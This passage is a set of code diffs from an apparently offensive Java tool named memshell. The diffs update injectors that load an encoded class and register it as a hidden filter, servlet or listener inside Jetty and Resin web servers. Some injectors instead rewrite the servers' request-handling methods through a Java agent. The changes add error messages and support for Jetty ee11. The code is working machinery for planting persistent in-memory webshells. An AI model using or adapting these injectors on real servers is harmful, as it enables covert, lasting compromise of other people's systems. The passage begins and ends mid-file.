return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
@@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector { public class JettyFilterInjector {
public JettyFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,13 +32,49 @@ public class JettyFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public JettyFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler"); Object servletHandler = getFieldValue(context, "_servletHandler");
if (servletHandler == null) {
return;
}
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter is already injected");
return; return;
} }
@@ -56,6 +83,7 @@ public class JettyFilterInjector {
"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterHolder",
"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterHolder",
"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterHolder",
"org.eclipse.jetty.ee11.servlet.FilterHolder",
"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterHolder",
}; };
@@ -78,7 +106,6 @@ public class JettyFilterInjector {
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler); moveFilterToFirst(servletHandler);
invokeMethod(servletHandler, "invalidateChainsCache"); invokeMethod(servletHandler, "invalidateChainsCache");
System.out.println("filter added successfully");
} }
private void moveFilterToFirst(Object servletHandler) throws Exception { private void moveFilterToFirst(Object servletHandler) throws Exception {
@@ -102,7 +129,6 @@ public class JettyFilterInjector {
} }
} else if (filterMaps instanceof ArrayList) { } else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps; ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
filterLength = filterList.size();
for (Object filter : filterList) { for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName"); String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) { if (filterName.equals(getClassName())) {
@@ -113,11 +139,14 @@ public class JettyFilterInjector {
} }
filterList.clear(); filterList.clear();
filterList.addAll(reorderedFilters); filterList.addAll(reorderedFilters);
} else {
throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList");
} }
} }
@Override
public String toString() {
return msg;
}
/** /**
* org.mortbay.jetty.webapp.WebAppContext * org.mortbay.jetty.webapp.WebAppContext
* org.eclipse.jetty.webapp.WebAppContext * org.eclipse.jetty.webapp.WebAppContext
@@ -165,16 +194,18 @@ public class JettyFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@@ -223,7 +254,7 @@ public class JettyFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -257,4 +288,19 @@ public class JettyFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
"org/eclipse/jetty/ee8/servlet/ServletHandler", "org/eclipse/jetty/ee8/servlet/ServletHandler",
"org/eclipse/jetty/ee9/servlet/ServletHandler", "org/eclipse/jetty/ee9/servlet/ServletHandler",
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain", "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
"org/eclipse/jetty/ee11/servlet/ServletHandler$Chain",
"org/mortbay/jetty/servlet/ServletHandler" "org/mortbay/jetty/servlet/ServletHandler"
); );
private static String targetMethodName = "doHandle";
public static String getClassName() { public static String getClassName() {
return "{{advisorName}}"; return "{{advisorName}}";
@@ -48,14 +48,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
if (name.contains("mortbay")) {
targetMethodName = "handle";
}
if (name.contains("ee10")) {
targetMethodName = "doFilter";
}
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
} }
} }
} }
@@ -66,10 +59,11 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASSES.contains(className)) { if (TARGET_CLASSES.contains(className)) {
String targetMethodName = "doHandle";
if (className.contains("mortbay")) { if (className.contains("mortbay")) {
targetMethodName = "handle"; targetMethodName = "handle";
} }
if (className.contains("ee10")) { if (className.contains("ee10") || className.contains("ee11")) {
targetMethodName = "doFilter"; targetMethodName = "doFilter";
} }
defineTargetClass(loader); defineTargetClass(loader);
@@ -81,8 +75,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
return loader; return loader;
} }
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw, targetMethodName);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -92,19 +87,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) { public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) {
return new ClassVisitor(Opcodes.ASM9, cv) { return new ClassVisitor(Opcodes.ASM9, cv) {
@Override @Override
public MethodVisitor visitMethod(int access, String name, String descriptor, public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (targetMethodName.equals(name)) { if (targetMethodName.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
@@ -14,23 +15,50 @@ import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* tested v7、v8、v9
*
* @author ReaJason * @author ReaJason
*/ */
public class JettyListenerInjector { public class JettyListenerInjector {
private String msg = "";
public JettyListenerInjector() { public JettyListenerInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) { for (Object context : contexts) {
Object listener = getShell(context); msg += ("context: [" + getContextRoot(context) + "] ");
inject(context, listener); try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} catch (Exception e) {
e.printStackTrace();
} }
} }
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -80,30 +108,21 @@ public class JettyListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance(); return clazz.newInstance();
} }
}
public static void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
System.out.println("listener is already injected");
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
System.out.println("listener added successfully");
}
@SuppressWarnings("unchecked")
public static boolean isInjected(Object context, String className) throws Exception {
// jetty v8、 v9
Object object = invokeMethod(context, "getEventListeners"); Object object = invokeMethod(context, "getEventListeners");
Object[] eventListeners = new Object[0]; Object[] eventListeners = new Object[0];
if (object instanceof List) { if (object instanceof List) {
@@ -112,11 +131,16 @@ public class JettyListenerInjector {
eventListeners = (Object[]) object; eventListeners = (Object[]) object;
} }
for (Object eventListener : eventListeners) { for (Object eventListener : eventListeners) {
if (eventListener.getClass().getName().contains(className)) { if (eventListener.getClass().getName().contains(getClassName())) {
return true; return ;
} }
} }
return false; invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -165,7 +189,7 @@ public class JettyListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -199,4 +223,19 @@ public class JettyListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
@@ -15,17 +16,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class JettyServletInjector { public class JettyServletInjector {
public JettyServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -39,6 +30,45 @@ public class JettyServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public JettyServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException { public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
try { try {
return classLoader.loadClass("javax.servlet.Servlet"); return classLoader.loadClass("javax.servlet.Servlet");
@@ -87,32 +117,33 @@ public class JettyServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler"); Object servletHandler = getFieldValue(context, "_servletHandler");
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet is already injected");
return; return;
} }
String[] classNames = new String[]{ String[] classNames = new String[]{
"org.eclipse.jetty.servlet.ServletHolder", "org.eclipse.jetty.servlet.ServletHolder",
"org.eclipse.jetty.ee8.servlet.ServletHolder", "org.eclipse.jetty.ee8.servlet.ServletHolder",
"org.eclipse.jetty.ee9.servlet.ServletHolder", "org.eclipse.jetty.ee9.servlet.ServletHolder",
"org.eclipse.jetty.ee10.servlet.ServletHolder", "org.eclipse.jetty.ee10.servlet.ServletHolder",
"org.eclipse.jetty.ee11.servlet.ServletHolder",
"org.mortbay.jetty.servlet.ServletHolder", "org.mortbay.jetty.servlet.ServletHolder",
}; };
@@ -137,9 +168,12 @@ public class JettyServletInjector {
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
System.out.println("servlet inject successful");
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -186,7 +220,7 @@ public class JettyServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -220,4 +254,19 @@ public class JettyServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -42,7 +42,6 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
} }
} }
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
} }
@Override @Override
@@ -61,6 +60,7 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinFilterInjector { public class ResinFilterInjector {
public ResinFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -37,6 +28,45 @@ public class ResinFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ResinFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.caucho.server.webapp.Application * com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar * /usr/local/resin3/lib/resin.jar
@@ -71,22 +101,26 @@ public class ResinFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object filter) throws Exception { private void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
System.out.println("filter already injected"); for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return; return;
} }
}
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
Object filterMappingImpl = filterMappingClass.newInstance(); Object filterMappingImpl = filterMappingClass.newInstance();
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -96,18 +130,11 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "init", null, null); invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
System.out.println("filter injected");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); return msg;
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -155,7 +182,7 @@ public class ResinFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -184,4 +211,19 @@ public class ResinFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays; import java.util.Arrays;
@@ -16,17 +17,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinListenerInjector { public class ResinListenerInjector {
public ResinListenerInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -36,6 +27,45 @@ public class ResinListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ResinListenerInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -66,29 +96,34 @@ public class ResinListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
